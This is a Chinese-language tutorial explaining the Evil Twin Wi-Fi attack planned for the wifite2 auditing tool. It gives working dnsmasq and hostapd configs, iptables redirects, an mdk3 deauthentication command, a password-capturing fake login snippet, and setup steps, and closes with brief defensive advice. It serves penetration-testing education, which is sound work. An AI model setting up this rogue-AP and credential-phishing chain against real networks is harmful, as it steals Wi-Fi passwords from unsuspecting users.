Wifite2中的Evil Twin攻击技术解析

Wifite2中的Evil Twin攻击技术解析

wifite2 Rewrite of the popular wireless network auditor, "wifite" 项目地址: https://gitcode.com/gh_mirrors/wi/wifite2

什么是Evil Twin攻击

Evil Twin（邪恶双胞胎）是一种经典的无线网络攻击方式，攻击者创建一个与合法无线接入点(AP)名称相同的恶意AP，诱使用户连接并获取其认证信息。在wifite2项目中，计划集成这一强大的攻击手段，使其成为无线安全测试的一站式工具。

攻击原理与技术实现

基本攻击流程

1. 双网卡配置：需要至少两个无线网卡

   • 一个用于创建恶意AP（Evil Twin）
   • 另一个用于对合法AP进行解除认证攻击

2. 攻击步骤：

   • 用户连接Evil Twin后，被重定向到伪造的路由器登录页面
   • 用户输入WiFi密码后，系统会：
     • 捕获密码
     • 验证密码有效性
     • 若有效则解除所有客户端与Evil Twin的连接，使其重新加入合法AP
     • 若无效则提示用户"密码错误，请重试"

关键技术组件

1. DHCP服务配置

需要自动为连接的客户端分配IP地址，通常通过dnsmasq实现：

interface=wlan0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1

2. DNS重定向

将所有DNS请求重定向到攻击者的Web服务器：

address=/#/192.168.1.254

3. 恶意AP创建

使用hostapd创建恶意AP：

driver=nl80211
ssid=$EVIL_SSID
hw_mode=$BAND
channel=$CHANNEL

4. 流量重定向

使用iptables进行流量重定向：

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.254:80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.1.254:80

5. 解除认证攻击

使用MDK3或aireplay-ng对合法AP进行持续解除认证：

mdk3 wlan1 d -b blacklist.txt -c 6

伪造登录页面设计

多厂商支持

根据目标AP的MAC地址识别厂商，提供对应的伪造登录页面。wifite2计划支持：

1. 主流路由器厂商的登录页面模板
2. 通用的默认登录页面
3. 多语言支持（通过JavaScript动态加载）

密码捕获机制

使用简单的AJAX提交：

fetch('/login.cgi', {
  method: 'POST',
  body: JSON.stringify({password: input.value})
})

技术挑战与解决方案

1. 健康检查欺骗

现代设备会检查AP的互联网连接状态：

• Android：连接connectivitycheck.gstatic.com
• iOS：连接captive.apple.com
• Windows：连接www.msftconnecttest.com

解决方案是为这些特定域名提供伪造的成功响应。

2. HTTPS处理

对于HTTPS请求：

1. 使用sslstrip技术降级HTTPS为HTTP
2. 或提供自签名证书（可能触发浏览器警告）

3. 密码验证

需要第三块无线网卡专门用于密码验证：

1. 尝试使用捕获的密码连接真实AP
2. 验证成功后停止攻击
3. 引导用户重新连接真实AP

实际测试演示

环境搭建步骤

1. 配置网络接口：

   ifconfig wlan0 10.0.0.1/24 up
   

2. 启动DHCP和DNS服务：

   dnsmasq -C dnsmasq.conf
   

3. 设置流量重定向：

   iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
   

4. 启动恶意AP：

   hostapd ./hostapd.conf -i wlan0
   

5. 启动Web服务器：

   python -m SimpleHTTPServer 80
   

清理环境

killall dnsmasq hostapd
iptables -F && iptables -X
iptables -t nat -F && iptables -t nat -X
iptables -t mangle -F && iptables -t mangle -X

安全建议与防御措施

对于防御Evil Twin攻击，建议：

1. 使用WPA3企业版认证
2. 部署802.1X认证
3. 定期检查周边是否存在同名AP
4. 对员工进行安全意识培训
5. 使用加密连接保护所有通信

wifite2集成Evil Twin功能后，将成为更全面的无线安全评估工具，帮助安全专业人员更好地测试和加固无线网络环境。

wifite2 Rewrite of the popular wireless network auditor, "wifite" 项目地址: https://gitcode.com/gh_mirrors/wi/wifite2